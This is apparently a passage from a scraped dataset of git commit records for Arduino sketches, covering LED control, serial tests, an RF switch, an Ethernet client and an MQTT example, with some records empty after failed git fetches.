n\/Arduino,jmgonzalez00449\/Arduino,lukeWal\/Arduino,raimohanska\/Arduino,tskurauskas\/Arduino,ssvs111\/Arduino,HCastano\/Arduino,raimohanska\/Arduino,noahchense\/Arduino-1,tommyli2014\/Arduino,drpjk\/Arduino,Protoneer\/Arduino,eggfly\/arduino,lukeWal\/Arduino,jaehong\/Xmegaduino,ntruchsess\/Arduino-1,ari-analytics\/Arduino,cscenter\/Arduino,eduardocasarin\/Arduino,ntruchsess\/Arduino-1,majenkotech\/Arduino,noahchense\/Arduino-1,snargledorf\/Arduino,spapadim\/Arduino,mateuszdw\/Arduino,Chris--A\/Arduino,stickbreaker\/Arduino,Alfredynho\/AgroSis,radut\/Arduino,adafruit\/ESP8266-Arduino,KlaasDeNys\/Arduino,zenmanenergy\/Arduino,SmartArduino\/Arduino-1,shiitakeo\/Arduino,bsmr-arduino\/Arduino,OpenDevice\/Arduino,stickbreaker\/Arduino,xxxajk\/Arduino-1,acosinwork\/Arduino,UDOOboard\/Arduino,probonopd\/Arduino,ashwin713\/Arduino,nkolban\/Arduino,byran\/Arduino,vbextreme\/Arduino,eddyst\/Arduino-SourceCode,Chris--A\/Arduino,zederson\/Arduino,ForestNymph\/Arduino_sources,wayoda\/Arduino,eddyst\/Arduino-SourceCode,Chris--A\/Arduino,nkolban\/Arduino,ogferreiro\/Arduino,NeuralSpaz\/Arduino,tommyli2014\/Arduino,cscenter\/Arduino,jmgonzalez00449\/Arduino,eggfly\/arduino,Gourav2906\/Arduino,plinioseniore\/Arduino,OpenDevice\/Arduino,tommyli2014\/Arduino,tomkrus007\/Arduino,shiitakeo\/Arduino,ogahara\/Arduino,PeterVH\/Arduino,nandojve\/Arduino,plinioseniore\/Arduino,jamesrob4\/Arduino,NaSymbol\/Arduino,acosinwork\/Arduino,stevemarple\/Arduino-org,henningpohl\/Arduino,karlitxo\/Arduino,piersoft\/esp8266-Arduino,xxxajk\/Arduino-1,henningpohl\/Arduino,eeijcea\/Arduino-1,mattvenn\/Arduino,raimohanska\/Arduino,smily77\/Arduino,adamkh\/Arduino,scdls\/Arduino,rcook\/DesignLab,stevemayhew\/Arduino,henningpohl\/Arduino,PaoloP74\/Arduino,drpjk\/Arduino,stickbreaker\/Arduino,NicoHood\/Arduino,ari-analytics\/Arduino,byran\/Arduino,NeuralSpaz\/Arduino,nkolban\/Arduino,vbextreme\/Arduino,plaintea\/esp8266-Arduino,koltegirish\/Arduino,toddtreece\/esp8266-Arduino,ccoenen\/Arduino,arunkuttiyara\/Arduino,gestrem\/Arduino,adamkh\/Arduino,bsmr-arduino\/Arduino,talhaburak\/Arduino,jaehong\/Xmegaduino,OpenDevice\/Arduino,tannewt\/Arduino,snargledorf\/Arduino,ektor5\/Arduino,me-no-dev\/Arduino-1,Alfredynho\/AgroSis,arunkuttiyara\/Arduino,zederson\/Arduino,byran\/Arduino,NaSymbol\/Arduino,wayoda\/Arduino,acosinwork\/Arduino,toddtreece\/esp8266-Arduino,bigjosh\/Arduino,ogferreiro\/Arduino,danielchalef\/Arduino,ektor5\/Arduino,jmgonzalez00449\/Arduino,zenmanenergy\/Arduino,gberl001\/Arduino,aichi\/Arduino-2,jomolinare\/Arduino,niggor\/Arduino_cc,wdoganowski\/Arduino,niggor\/Arduino_cc,gonium\/Arduino,garci66\/Arduino,gurbrinder\/Arduino,zederson\/Arduino,jaehong\/Xmegaduino,shiitakeo\/Arduino,jmgonzalez00449\/Arduino,chaveiro\/Arduino,mateuszdw\/Arduino,vbextreme\/Arduino,tommyli2014\/Arduino,lulufei\/Arduino,jabezGit\/Arduino,tommyli2014\/Arduino,jaehong\/Xmegaduino,piersoft\/esp8266-Arduino,gonium\/Arduino,piersoft\/esp8266-Arduino,piersoft\/esp8266-Arduino,UDOOboard\/Arduino,bsmr-arduino\/Arduino,ashwin713\/Arduino,pdNor\/Arduino,majenkotech\/Arduino,stickbreaker\/Arduino,bigjosh\/Arduino,shiitakeo\/Arduino,shiitakeo\/Arduino,EmuxEvans\/Arduino,scdls\/Arduino,tannewt\/Arduino,jabezGit\/Arduino,tskurauskas\/Arduino,cscenter\/Arduino,tbowmo\/Arduino,shannonshsu\/Arduino,xxxajk\/Arduino-1,ektor5\/Arduino,me-no-dev\/Arduino-1,acosinwork\/Arduino,steamboating\/Arduino,superboonie\/Arduino,bigjosh\/Arduino,shannonshsu\/Arduino,PeterVH\/Arduino,henningpohl\/Arduino,NaSymbol\/Arduino,smily77\/Arduino,ogahara\/Arduino,lukeWal\/Arduino,jaimemaretoli\/Arduino,mboufos\/esp8266-Arduino,superboonie\/Arduino,damellis\/Arduino,ikbelkirasan\/Arduino,shannonshsu\/Arduino,NaSymbol\/Arduino,byran\/Arduino,niggor\/Arduino_cc,me-no-dev\/Arduino-1,niggor\/Arduino_cc,ntruchsess\/Arduino-1,karlitxo\/Arduino,kidswong999\/Arduino,wilhelmryan\/Arduino,onovy\/Arduino,paulo-raca\/ESP8266-Arduino,ntruchsess\/Arduino-1,tskurauskas\/Arduino,zenmanenergy\/Arduino,gonium\/Arduino,mateuszdw\/Arduino,plinioseniore\/Arduino,ari-analytics\/Arduino,ricklon\/Arduino,spapadim\/Arduino,onovy\/Arduino,ogahara\/Arduino,stevemayhew\/Arduino,UDOOboard\/Arduino,ashwin713\/Arduino,plinioseniore\/Arduino,nandojve\/Arduino,onovy\/Arduino,adamkh\/Arduino,myrtleTree33\/Arduino,danielchalef\/Arduino,ikbelkirasan\/Arduino,chaveiro\/Arduino,stevemarple\/Arduino-org,ogahara\/Arduino,Chris--A\/Arduino,ogferreiro\/Arduino,SmartArduino\/Arduino-1,andrealmeidadomingues\/Arduino,lulufei\/Arduino,tbowmo\/Arduino,jaehong\/Xmegaduino,adamkh\/Arduino,ikbelkirasan\/Arduino,PaoloP74\/Arduino,danielchalef\/Arduino,ssvs111\/Arduino,steamboating\/Arduino,gberl001\/Arduino,Cloudino\/Cloudino-Arduino-IDE,aichi\/Arduino-2,PeterVH\/Arduino,tommyli2014\/Arduino,paulmand3l\/Arduino,steamboating\/Arduino,Gourav2906\/Arduino,lukeWal\/Arduino,EmuxEvans\/Arduino,arunkuttiyara\/Arduino,leftbrainstrain\/Arduino-ESP8266,mc-hamster\/esp8266-Arduino,paulo-raca\/ESP8266-Arduino,noahchense\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,zenmanenergy\/Arduino,PaoloP74\/Arduino,zaiexx\/Arduino,PaoloP74\/Arduino,gestrem\/Arduino,wdoganowski\/Arduino,plaintea\/esp8266-Arduino,gestrem\/Arduino,stevemayhew\/Arduino,laylthe\/Arduino,spapadim\/Arduino,nandojve\/Arduino,koltegirish\/Arduino,rcook\/DesignLab,jomolinare\/Arduino,raimohanska\/Arduino,radut\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Cloudino\/Arduino,HCastano\/Arduino,wayoda\/Arduino,nandojve\/Arduino,ccoenen\/Arduino,NeuralSpaz\/Arduino,talhaburak\/Arduino,paulmand3l\/Arduino,cscenter\/Arduino,arunkuttiyara\/Arduino,tomkrus007\/Arduino,weera00\/Arduino,pdNor\/Arduino,ntruchsess\/Arduino-1,mattvenn\/Arduino,Alfredynho\/AgroSis,ThoughtWorksIoTGurgaon\/Arduino,gberl001\/Arduino,OpenDevice\/Arduino,sanyaade-iot\/Arduino-1,eddyst\/Arduino-SourceCode,mateuszdw\/Arduino,stevemayhew\/Arduino,drpjk\/Arduino,wdoganowski\/Arduino,HCastano\/Arduino,jaimemaretoli\/Arduino,paulo-raca\/ESP8266-Arduino,mangelajo\/Arduino,stevemarple\/Arduino-org,arduino-org\/Arduino,mboufos\/esp8266-Arduino,tskurauskas\/Arduino,byran\/Arduino,eddyst\/Arduino-SourceCode,fungxu\/Arduino,stevemarple\/Arduino-org,ashwin713\/Arduino,wilhelmryan\/Arduino,arduino-org\/Arduino,karlitxo\/Arduino,aichi\/Arduino-2,jabezGit\/Arduino,ntruchsess\/Arduino-1,majenkotech\/Arduino,KlaasDeNys\/Arduino,shannonshsu\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Gourav2906\/Arduino,jamesrob4\/Arduino,steamboating\/Arduino,wdoganowski\/Arduino,plaintea\/esp8266-Arduino,probonopd\/Arduino,ccoenen\/Arduino,damellis\/Arduino,nkolban\/Arduino,chaveiro\/Arduino,HCastano\/Arduino,probonopd\/Arduino,karlitxo\/Arduino,jamesrob4\/Arduino,benwolfe\/esp8266-Arduino,andrealmeidadomingues\/Arduino,pdNor\/Arduino,tomkrus007\/Arduino,gurbrinder\/Arduino,Protoneer\/Arduino,garci66\/Arduino,adafruit\/ESP8266-Arduino,Protoneer\/Arduino,piersoft\/esp8266-Arduino,smily77\/Arduino,snargledorf\/Arduino,Gourav2906\/Arduino,ogahara\/Arduino,NeuralSpaz\/Arduino,Chris--A\/Arduino,steamboating\/Arduino,gurbrinder\/Arduino,xxxajk\/Arduino-1,weera00\/Arduino,jaej-dev\/Arduino,wayoda\/Arduino,eeijcea\/Arduino-1,koltegirish\/Arduino,scdls\/Arduino,henningpohl\/Arduino,PeterVH\/Arduino,jomolinare\/Arduino,onovy\/Arduino,Alfredynho\/AgroSis,zaiexx\/Arduino,xxxajk\/Arduino-1,ari-analytics\/Arduino,radut\/Arduino,jmgonzalez00449\/Arduino,chaveiro\/Arduino,eeijcea\/Arduino-1,Cloudino\/Arduino,niggor\/Arduino_cc,nkolban\/Arduino,adafruit\/ESP8266-Arduino,ccoenen\/Arduino,kidswong999\/Arduino,zenmanenergy\/Arduino,lulufei\/Arduino,tomkrus007\/Arduino,me-no-dev\/Arduino-1,wilhelmryan\/Arduino,myrtleTree33\/Arduino,stevemayhew\/Arduino,tskurauskas\/Arduino,tskurauskas\/Arduino,fungxu\/Arduino,bigjosh\/Arduino,eddyst\/Arduino-SourceCode,stevemarple\/Arduino-org,probonopd\/Arduino,jaimemaretoli\/Arduino,noahchense\/Arduino-1,laylthe\/Arduino,majenkotech\/Arduino,tannewt\/Arduino,UDOOboard\/Arduino,zaiexx\/Arduino,chaveiro\/Arduino,gberl001\/Arduino,plaintea\/esp8266-Arduino,NeuralSpaz\/Arduino,cscenter\/Arduino,weera00\/Arduino,zaiexx\/Arduino,arunkuttiyara\/Arduino,spapadim\/Arduino,scdls\/Arduino,ashwin713\/Arduino,eggfly\/arduino,jaej-dev\/Arduino,lulufei\/Arduino,fungxu\/Arduino,tbowmo\/Arduino,jmgonzalez00449\/Arduino,rcook\/DesignLab,NicoHood\/Arduino,wdoganowski\/Arduino,mangelajo\/Arduino,smily77\/Arduino,eddyst\/Arduino-SourceCode,HCastano\/Arduino,tbowmo\/Arduino,myrtleTree33\/Arduino,mc-hamster\/esp8266-Arduino,gonium\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gberl001\/Arduino,ikbelkirasan\/Arduino,tomkrus007\/Arduino,superboonie\/Arduino,stevemayhew\/Arduino,paulmand3l\/Arduino,karlitxo\/Arduino,shannonshsu\/Arduino,onovy\/Arduino,snargledorf\/Arduino,KlaasDeNys\/Arduino,danielchalef\/Arduino,eddyst\/Arduino-SourceCode,paulo-raca\/ESP8266-Arduino,ogahara\/Arduino,henningpohl\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,scdls\/Arduino,NeuralSpaz\/Arduino,jabezGit\/Arduino,tbowmo\/Arduino,mangelajo\/Arduino,arduino-org\/Arduino,wdoganowski\/Arduino,jamesrob4\/Arduino,NicoHood\/Arduino,jabezGit\/Arduino,Cloudino\/Cloudino-Arduino-IDE,stevemayhew\/Arduino,rcook\/DesignLab,vbextreme\/Arduino,drpjk\/Arduino,Cloudino\/Cloudino-Arduino-IDE,xxxajk\/Arduino-1,PaoloP74\/Arduino,fungxu\/Arduino,mateuszdw\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,byran\/Arduino,eeijcea\/Arduino-1,xxxajk\/Arduino-1,arduino-org\/Arduino,myrtleTree33\/Arduino,tomkrus007\/Arduino,EmuxEvans\/Arduino,gonium\/Arduino,plinioseniore\/Arduino,byran\/Arduino,radut\/Arduino,myrtleTree33\/Arduino,arduino-org\/Arduino,koltegirish\/Arduino,wayoda\/Arduino,vbextreme\/Arduino,pdNor\/Arduino,andyvand\/Arduino-1,andrealmeidadomingues\/Arduino,lukeWal\/Arduino,KlaasDeNys\/Arduino,vbextreme\/Arduino,superboonie\/Arduino,eggfly\/arduino,ricklon\/Arduino,andyvand\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,cscenter\/Arduino,chaveiro\/Arduino,tbowmo\/Arduino,gestrem\/Arduino,eduardocasarin\/Arduino,andyvand\/Arduino-1,jaehong\/Xmegaduino,leftbrainstrain\/Arduino-ESP8266,Cloudino\/Arduino,andyvand\/Arduino-1,mboufos\/esp8266-Arduino,NaSymbol\/Arduino,ogahara\/Arduino,majenkotech\/Arduino,raimohanska\/Arduino,leftbrainstrain\/Arduino-ESP8266,nandojve\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ssvs111\/Arduino,bsmr-arduino\/Arduino,bigjosh\/Arduino,radut\/Arduino,ikbelkirasan\/Arduino,Cloudino\/Arduino,jabezGit\/Arduino,Chris--A\/Arduino,snargledorf\/Arduino,zederson\/Arduino,andrealmeidadomingues\/Arduino,ssvs111\/Arduino,shannonshsu\/Arduino,talhaburak\/Arduino,gestrem\/Arduino,paulmand3l\/Arduino,mangelajo\/Arduino,garci66\/Arduino,ntruchsess\/Arduino-1,fungxu\/Arduino,kidswong999\/Arduino,jomolinare\/Arduino,shiitakeo\/Arduino,rcook\/DesignLab,damellis\/Arduino,mc-hamster\/esp8266-Arduino,tannewt\/Arduino,smily77\/Arduino,NeuralSpaz\/Arduino,eggfly\/arduino,jaej-dev\/Arduino,zederson\/Arduino,bsmr-arduino\/Arduino,talhaburak\/Arduino,ForestNymph\/Arduino_sources,superboonie\/Arduino,plinioseniore\/Arduino,ogferreiro\/Arduino,mc-hamster\/esp8266-Arduino,garci66\/Arduino,talhaburak\/Arduino,tskurauskas\/Arduino,SmartArduino\/Arduino-1,probonopd\/Arduino,raimohanska\/Arduino,rcook\/DesignLab,mattvenn\/Arduino,jomolinare\/Arduino,acosinwork\/Arduino,aichi\/Arduino-2,laylthe\/Arduino,wilhelmryan\/Arduino,EmuxEvans\/Arduino,lukeWal\/Arduino,adafruit\/ESP8266-Arduino,jaimemaretoli\/Arduino,UDOOboard\/Arduino,karlitxo\/Arduino,Gourav2906\/Arduino,mattvenn\/Arduino,paulo-raca\/ESP8266-Arduino,eduardocasarin\/Arduino,zederson\/Arduino,myrtleTree33\/Arduino,noahchense\/Arduino-1,OpenDevice\/Arduino,EmuxEvans\/Arduino,andrealmeidadomingues\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,probonopd\/Arduino,mboufos\/esp8266-Arduino,damellis\/Arduino,bigjosh\/Arduino,stickbreaker\/Arduino,lukeWal\/Arduino,ccoenen\/Arduino,majenkotech\/Arduino,niggor\/Arduino_cc,arduino-org\/Arduino,danielchalef\/Arduino,jaej-dev\/Arduino,noahchense\/Arduino-1,chaveiro\/Arduino,probonopd\/Arduino,Protoneer\/Arduino,nkolban\/Arduino,nkolban\/Arduino,gonium\/Arduino,bsmr-arduino\/Arduino,lulufei\/Arduino,ashwin713\/Arduino,ari-analytics\/Arduino,garci66\/Arduino,Alfredynho\/AgroSis,koltegirish\/Arduino,HCastano\/Arduino,nandojve\/Arduino,Cloudino\/Cloudino-Arduino-IDE,bigjosh\/Arduino,tomkrus007\/Arduino,adafruit\/ESP8266-Arduino,weera00\/Arduino,SmartArduino\/Arduino-1,tannewt\/Arduino,ssvs111\/Arduino,arduino-org\/Arduino,ogferreiro\/Arduino,lukeWal\/Arduino,andrealmeidadomingues\/Arduino,onovy\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,pdNor\/Arduino,me-no-dev\/Arduino-1,HCastano\/Arduino,arunkuttiyara\/Arduino,talhaburak\/Arduino,PaoloP74\/Arduino,me-no-dev\/Arduino-1,NicoHood\/Arduino,smily77\/Arduino,ricklon\/Arduino,Cloudino\/Arduino,PeterVH\/Arduino,arunkuttiyara\/Arduino,ari-analytics\/Arduino,majenkotech\/Arduino,cscenter\/Arduino,KlaasDeNys\/Arduino,scdls\/Arduino,tskurauskas\/Arduino,KlaasDeNys\/Arduino,eeijcea\/Arduino-1,mboufos\/esp8266-Arduino,ashwin713\/Arduino,niggor\/Arduino_cc,gonium\/Arduino,Chris--A\/Arduino,zederson\/Arduino,gberl001\/Arduino,sanyaade-iot\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,mattvenn\/Arduino,garci66\/Arduino,PaoloP74\/Arduino","old_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/ConsolePixel\/ConsolePixel.ino","new_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/ConsolePixel\/ConsolePixel.ino","new_contents":"\/*\n Console Pixel\n \n An example of using the Arduino board to receive data from the \n Console on the Arduino Yun. In this case, the Arduino boards turns on an LED when\n it receives the character 'H', and turns off the LED when it\n receives the character 'L'.\n \n To see the Console, pick your Yun's name and IP address in the Port menu\n then open the Port Monitor. You can also see it by opening a terminal window\n and typing \n ssh root@ yourYunsName.local 'telnet localhost 6571'\n then pressing enter. When prompted for the password, enter it.\n \n \n The circuit:\n * LED connected from digital pin 13 to ground\n \n created 2006\n by David A. Mellis\n modified 25 Jun 2013\n by Tom Igoe \n \n This example code is in the public domain.\n \n *\/\n#include <Console.h>\n\nconst int ledPin = 13; \/\/ the pin that the LED is attached to\nchar incomingByte; \/\/ a variable to read incoming Console data into\n\nvoid setup() {\n \/\/ initialize Console communication:\n Bridge.begin();\n Console.begin();\n while(!Console); \/\/ wait for the Console to open from the remote side\n Console.println(\"type H or L to turn pin 13 on or off\");\n \/\/ initialize the LED pin as an output:\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ see if there's incoming Console data:\n if (Console.available() > 0) {\n \/\/ read the oldest byte in the Console buffer:\n incomingByte = Console.read();\n Console.println(incomingByte);\n \/\/ if it's a capital H (ASCII 72), turn on the LED:\n if (incomingByte == 'H') {\n digitalWrite(ledPin, HIGH);\n } \n \/\/ if it's an L (ASCII 76) turn off the LED:\n if (incomingByte == 'L') {\n digitalWrite(ledPin, LOW);\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/arduino\/avr\/libraries\/Bridge\/examples\/ConsolePixel\/ConsolePixel.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"8623bb670f019d3052adbf54a59f595d4ffe9437","subject":"Envelope noise floor variable added to muscle SS","message":"Envelope noise floor variable added to muscle SS\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/Complete\/MuscleSpikerShiledComplete.ino","new_file":"Muscle\/Arduino Code\/Complete\/MuscleSpikerShiledComplete.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/Complete\/MuscleSpikerShiledComplete.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1d82a0132beb75d09a87dd7d2750117f70f7ec81","subject":"added SerialTest arduino sketch","message":"added SerialTest arduino sketch\n","repos":"Onkeliroh\/DSA","old_file":"Code\/SerialTest\/arduino\/SerialTest\/SerialTest.ino","new_file":"Code\/SerialTest\/arduino\/SerialTest\/SerialTest.ino","new_contents":"\/*\n\tAdruino sketch to test serial communication with mono\n*\/\nvoid setup()\n{\n\tSerial.begin(9600);\t\n}\n\nvoid loop()\n{\n\tanalyse();\n}\n\nchar com[20];\nchar inChar=-1;\nbyte index=0;\n\nvoid analyse()\n{\n\twhile (Serial.available() > 0)\n\t{\n\t\tif(index < 19)\n\t\t{\n\t\t\tinChar = Serial.read();\n\t\t\tcom[index] = inChar;\n\t\t\tindex++;\n\t\t\tcom[index] = '\\0';\n\t\t}\t\n\t}\n\n\tif (strcmp(com,\"Hello\") == 0)\n\t{\n\t\tSerial.write(\"Hi\");\n\t}\n\tif ( strcmp(com,\"How are you\") == 0 )\n\t{\n\t\tSerial.write(\"good and you?\");\n\t}\n\tSerial.flush();\n\tmemset(com, 0, sizeof(com));\n\tindex = 0;\n\tinChar=-1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Code\/SerialTest\/arduino\/SerialTest\/SerialTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1587556be810d8f531df2cb73ca062fad3509498","subject":"Modified to output data to serial, and slowed down to allow for more accurate multimeter measurements during operation.","message":"Modified to output data to serial, and slowed down to allow for more accurate multimeter measurements during operation.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"SIK Circuits\/Circuit_11_modified\/Circuit_11_modified.ino","new_file":"SIK Circuits\/Circuit_11_modified\/Circuit_11_modified.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SIK' did not match any file(s) known to git\nerror: pathspec 'Circuits\/Circuit_11_modified\/Circuit_11_modified.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"498a6c64c7b251456e0213b826bf2f5f11a59e56","subject":"dPIN 8 = LOW, reads\/Tx all sensors slow. dPIN 8 = HIGH reads\/tx CH0 fast","message":"dPIN 8 = LOW, reads\/Tx all sensors slow. dPIN 8 = HIGH reads\/tx CH0 fast\n","repos":"reynal74\/sensor_projects","old_file":"read_sensor_data\/impact_and_pulloff_segmented\/impact_and_pulloff_segmented.ino","new_file":"read_sensor_data\/impact_and_pulloff_segmented\/impact_and_pulloff_segmented.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/reynal74\/sensor_projects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c68e36ba7c12e36fbd3115f073d2d7fc642972de","subject":"Sketch to test the time taken to read the temperature from the DS18B20 sensors","message":"Sketch to test the time taken to read the temperature from the DS18B20 sensors\n","repos":"opentrv\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink","old_file":"dev\/test\/DS18B20Timing\/DS18B20Timing.ino","new_file":"dev\/test\/DS18B20Timing\/DS18B20Timing.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7c6dbab790559b864fcc3223600dffceb2b4fe02","subject":"add REST interface to LED strip","message":"add REST interface to LED strip\n","repos":"stevelacy\/LEDFade,stevelacy\/LEDFade","old_file":"smartRoom.ino","new_file":"smartRoom.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stevelacy\/LEDFade.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2fe50a2292d6c6615c75ad5ad6f8c4851527834f","subject":"add minimum ppg sensor","message":"add minimum ppg sensor\n","repos":"jackylee0424\/YCHack-MakeHAL9000,jackylee0424\/YCHack-MakeHAL9000,jackylee0424\/YCHack-MakeHAL9000","old_file":"hardware\/Arduino\/SIMPLEPPG\/SIMPLEPPG.ino","new_file":"hardware\/Arduino\/SIMPLEPPG\/SIMPLEPPG.ino","new_contents":"#include <FreqCounter.h>\n\nvoid setup() {\n Serial.begin(115200); \/\/ connect to the serial port\n}\n\nlong int frq;\nvoid loop() {\n\n FreqCounter::f_comp= 12; \/\/ Set compensation to 12\n FreqCounter::start(10); \/\/ Start counting with gatetime of 100ms\n while (FreqCounter::f_ready == 0) \/\/ wait until counter ready\n \n frq=FreqCounter::f_freq; \/\/ read result\n Serial.println(frq); \/\/ print result\n delay(4);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/Arduino\/SIMPLEPPG\/SIMPLEPPG.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"790b03ea93999c1a97b6011255dd7013d246abc2","subject":"Lightweight sketch","message":"Lightweight sketch","repos":"lexruee\/rc-switch-c,lexruee\/rc-switch-c,valkuc\/rc-switch","old_file":"examples\/TypeA_WithDIPSwitches_Lightweight\/TypeA_WithDIPSwitches_Lightweight.ino","new_file":"examples\/TypeA_WithDIPSwitches_Lightweight\/TypeA_WithDIPSwitches_Lightweight.ino","new_contents":"\/*\r\n This is a minimal sketch without using the library at all but only works for\r\n the 10 pole dip switch sockets. It saves a lot of memory and thus might be \r\n very useful to use with ATTinys :)\r\n \r\n http:\/\/code.google.com\/p\/rc-switch\/\r\n*\/\r\n\r\nint RCLpin = 7;\r\n\r\nvoid setup() {\r\n pinMode(RCLpin, OUTPUT);\r\n}\r\n\r\nvoid loop() {\r\n RCLswitch(0b010001000001); \/\/ DIPs an Steckdose: 0100010000 An:01\r\n delay(2000);\r\n\r\n RCLswitch(0b010001000010); \/\/ DIPs an Steckdose: 0100010000 Aus:10\r\n delay(2000); \r\n}\r\n\r\nvoid RCLswitch(uint16_t code) {\r\n for (int nRepeat=0; nRepeat<6; nRepeat++) {\r\n for (int i=4; i<16; i++) {\r\n RCLtransmit(1,3);\r\n if (((code << (i-4)) & 2048) > 0) {\r\n RCLtransmit(1,3);\r\n } else {\r\n RCLtransmit(3,1);\r\n }\r\n }\r\n RCLtransmit(1,31); \r\n }\r\n}\r\n\r\nvoid RCLtransmit(int nHighPulses, int nLowPulses) {\r\n digitalWrite(RCLpin, HIGH);\r\n delayMicroseconds( 350 * nHighPulses);\r\n digitalWrite(RCLpin, LOW);\r\n delayMicroseconds( 350 * nLowPulses);\r\n}\r\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TypeA_WithDIPSwitches_Lightweight\/TypeA_WithDIPSwitches_Lightweight.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4b70a8188ac7c888e171587f8277b24871f33d81","subject":"Arduino client sketch","message":"Arduino client sketch\n\nUsing Ethernet shield and N buttons\n","repos":"matteocontrini\/xtrm-feedback,matteocontrini\/xtrm-feedback,matteocontrini\/xtrm-feedback","old_file":"xtrm-arduino-client\/xtrm-arduino-client.ino","new_file":"xtrm-arduino-client\/xtrm-arduino-client.ino","new_contents":"\/*\n\n XTRM feedback system\n Arduino client\n \n This sketch detects button click and\n sends data to the server through TCP\n \n Using - Ethernet shield\n - 4 buttons\n\n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n\nbyte macAddress[] = { 0x90, 0xA2, 0xDA, 0x0D, 0x23, 0x58 };\nIPAddress server(192, 168, 1, 50); \/\/ Server IP address\nint serverPort = 3001; \/\/ Server port\n\n\/\/ Ethernet TCP client\nEthernetClient client;\n\n\/\/ Starts ethernet connection\nvoid setupEthernet() {\n \/\/ Automatic IP, DNS, gateway and subnet mask\n Ethernet.begin(macAddress);\n delay(1000);\n \n Serial.println(\"Device connected: \" + Ethernet.localIP());\n \n \/\/ Attempt server connection\n if (client.connect(server, serverPort)) {\n Serial.println(\"Connected to the server!\");\n }\n else {\n Serial.println(\"Failed connection to the server\");\n }\n}\n\nvoid setup() {\n \n \/\/ Start serial connection\n Serial.begin(9600);\n Serial.println(\"Connecting to the server...\");\n \n \/\/ Setup ethernet connection\n setupEthernet();\n \n}\n\nvoid loop() {\n \/\/ Check if connection is still valid\n checkServerConnection();\n \n \/\/ Get the pressed button id\n int pressedButtonId = checkPressedButton();\n \n \/\/ Send the feedback!\n if (pressedButtonId > -1) {\n sendFeedback(pressedButtonId);\n }\n}\n\n\/\/ Returns the id (0...3) of the last pressed button\nint checkPressedButton() {\n \/\/ TODO\n}\n\nvoid sendFeedback(int buttonId) {\n \/\/ Create CSV payload\n String payload = \"arduinoUnoAgnagnu;\" + buttonId;\n \n Serial.println(payload);\n \n \/\/ Send data\n client.println(payload);\n}\n\n\/\/ Stops the client if connection is lost\nvoid checkServerConnection() {\n if (!client.connected()) {\n Serial.println();\n Serial.println(\"Server disconnected\");\n client.stop();\n \n while (true) ;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'xtrm-arduino-client\/xtrm-arduino-client.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"da5b49930706986fdb9cea7105da4fdf9706651d","subject":"Add example of retain usage","message":"Add example of retain usage\n","repos":"adafruit\/Adafruit_MQTT_Library","old_file":"examples\/mqtt_retain\/mqtt_retain.ino","new_file":"examples\/mqtt_retain\/mqtt_retain.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library Retain Flag Example\n\n This example demonstrates use of the retain flag when publishing messages.\n If retain is set, the MQTT broker will store the message. When a new\n client subscribes to the topic, the retained message will be republished\n to that client. This is useful for configuration messages and 'last known\n good' values.\n\n Written by Ben Willmore.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n\n#include 